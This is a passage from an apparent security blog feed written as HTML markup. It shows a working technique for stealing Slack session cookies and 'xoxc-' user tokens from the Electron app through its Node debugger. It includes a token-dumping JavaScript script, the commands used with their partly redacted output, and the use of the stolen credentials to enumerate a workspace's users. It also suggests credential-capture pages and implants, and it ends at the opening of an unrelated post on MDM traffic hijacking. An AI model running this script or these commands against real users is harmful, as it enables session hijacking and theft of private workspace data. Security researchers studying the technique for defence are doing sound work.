&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;value&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;90d5538e- [ REDACTED ]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;domain&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;.slack.com&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;hostOnly&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;false&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;path&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;secure&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;false&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;httpOnly&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;false&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;session&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;false&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;expirationDate&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: 1945639889,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;sameSite&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;unspecified&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;d&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;value&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;aX9QnD8F [ REDACTED ]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;domain&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;.slack.com&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;hostOnly&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;false&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;path&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;secure&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;true&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;httpOnly&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;true&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;session&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;false&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;expirationDate&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: 1941391182.507454,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;sameSite&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;lax&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;...SNIP&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We&amp;rsquo;ve extracted the &lt;code&gt;d&lt;/code&gt; cookie value from a running Slack instance. This is half of the material we need to steal a session.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Next, let&amp;rsquo;s work on lifting out the user token that goes with that cookie. The token is submitted with every request in the request body, and begins with &lt;code&gt;xoxc-&lt;/code&gt;. It should be accessible via the &lt;code&gt;localConfig_v2&lt;/code&gt; key in Local Storage:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; dump_slack_tokens.js&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Get a handle to the Electron APIs&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;electron &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; process&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;mainModule&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;require&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;electron&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Get the first WebContents instance that we can access the associated Local Storage&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;window &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; electron&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;webContents&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;getAllWebContents&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;()[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; We have to go one level deeper. Using javascript execution in Electron's V8 runtime, we&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; will in turn trigger javascript execution in the target window.&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Look, I'm not proud of it either.&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;let&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; config_blob &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; window&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;executeJavaScript&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;localStorage.localConfig_v2&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Shave off the cruft and make a nice object to stringify that just contains the&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; workspace name and the associated token.&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;let&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; config_obj &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; JSON&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;parse&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(config_blob)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;let&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; teams &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Object&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;values&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(config_obj&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;teams)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;let&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; extracted_teams &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; []&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;teams&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;forEach&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;e&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; =&gt;&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; extracted_teams&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;push&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; e&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; token&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; e&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;token&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;JSON&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;stringify&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(extracted_teams)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Let&amp;rsquo;s see what we got:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;$&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ./electron-probe&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -inspect-target&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; http://localhost:9229&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -script&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; scripts/dump_slack_tokens.js&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; |&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; jq&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;r2c&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;token&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;xoxc-65630S1[ REDACTED ]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Binary Ninja Public Chat&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;token&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;xoxc-1300035[ REDACTED ]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; SNIP &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="using-the-credentials"&gt;Using The Credentials&lt;a class="heading-anchor" href="#using-the-credentials" aria-label="Link to Using The Credentials"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now we have both the &lt;code&gt;d&lt;/code&gt; cookie as well as the &lt;code&gt;xoxc&lt;/code&gt; token required to authenticate as our target user. We can use these credentials together to access the Slack API as the target user. For example, we can use &lt;a href="https://github.com/xpcmdshell/slarf" target="_blank" rel="noopener noreferrer"&gt;Slarf&lt;/a&gt; to dump the user directory for a workspace:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;$&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ./slarf&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -cookie&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; aX9QnD8F[REDACT]&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -token&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; xoxc-1300035[REDACT]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; |&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; jq&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; '&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;.[].name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;'&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;"slackbot"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;"actae0n"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; SNIP &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="rapid-js-payload-prototyping"&gt;Rapid JS Payload Prototyping&lt;a class="heading-anchor" href="#rapid-js-payload-prototyping" aria-label="Link to Rapid JS Payload Prototyping"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want a nicer environment to develop your JS payloads in, I&amp;rsquo;d recommend using the Chrome/Chromium/Brave DevTools to talk to the Inspector. Once the target application has been launched with the Inspector listening, you can attach to it by navigating to &lt;code&gt;chrome://inspect&lt;/code&gt;.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/electron_loot/devtools_remote.png"&gt;&lt;img src="https://0day.gg/images/electron_loot/devtools_remote.png" alt="chrome://inspect" loading="lazy" decoding="async" width="570" height="406"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;In the &lt;code&gt;Remote Target (localhost)&lt;/code&gt; section, you should see your target listed. You can click the &lt;code&gt;inspect&lt;/code&gt; button to open DevTools for your target.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/electron_loot/devtools_env.png"&gt;&lt;img src="https://0day.gg/images/electron_loot/devtools_env.png" alt="DevTools For Electron" loading="lazy" decoding="async" width="939" height="627"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;h2 id="additional-ideas"&gt;Additional Ideas&lt;a class="heading-anchor" href="#additional-ideas" aria-label="Link to Additional Ideas"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Since you have direct access to the WebContents object, you could rewrite the DOM or redirect at will (e.g embedding a credential capture page) by loading content with &lt;code&gt;WebContents.loadURL()&lt;/code&gt;. Check out the &lt;code&gt;inline_content.js&lt;/code&gt; and &lt;code&gt;redirect.js&lt;/code&gt; scripts for examples of this.&lt;/p&gt;
&lt;p&gt;Electron also has some support (albeit unsafe) for loading Node extensions at runtime using &lt;code&gt;process.dlopen()&lt;/code&gt;, however I didn&amp;rsquo;t explore this. Using Slack as a host for your implant would be nice though!&lt;/p&gt;</description></item><item><title>Hijacking Web Traffic On MacOS and iOS With MDM Profiles</title><link>https://0day.gg/blog/hijacking-mdm-macos/</link><guid>https://0day.gg/blog/hijacking-mdm-macos/</guid><pubDate>Wed, 18 Dec 2019 00:00:00 +0000</pubDate><description>&lt;h2 id="what-are-mdm-profiles"&gt;What Are MDM Profiles?&lt;a class="heading-anchor" href="#what-are-mdm-profiles" aria-label="Link to What Are MDM Profiles?"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;MDM profiles allow organizations to deploy common device configurations across MacOS and iOS devices. They can be deployed by hand, or via 3rd party MDM solutions such as &lt;a href="https://www.jamf.com/" target="_blank" rel="noopener noreferrer"&gt;Jamf&lt;/a&gt; or &lt;a href="https://github.com/munki/munki/wiki/Managing-Configuration-Profiles" target="_blank" rel="noopener noreferrer"&gt;Munki&lt;/a&gt;. They&amp;rsquo;re deployed as &lt;code&gt;.mobileconfig&lt;/code&gt; files, which are just XML under the hood. Here&amp;rsquo;s an example config that enforces a wallpaper setting:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;?&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;xml version=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;1.0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; encoding=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;UTF-8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;?&gt;&lt;/span&gt;&lt;/span&gt;
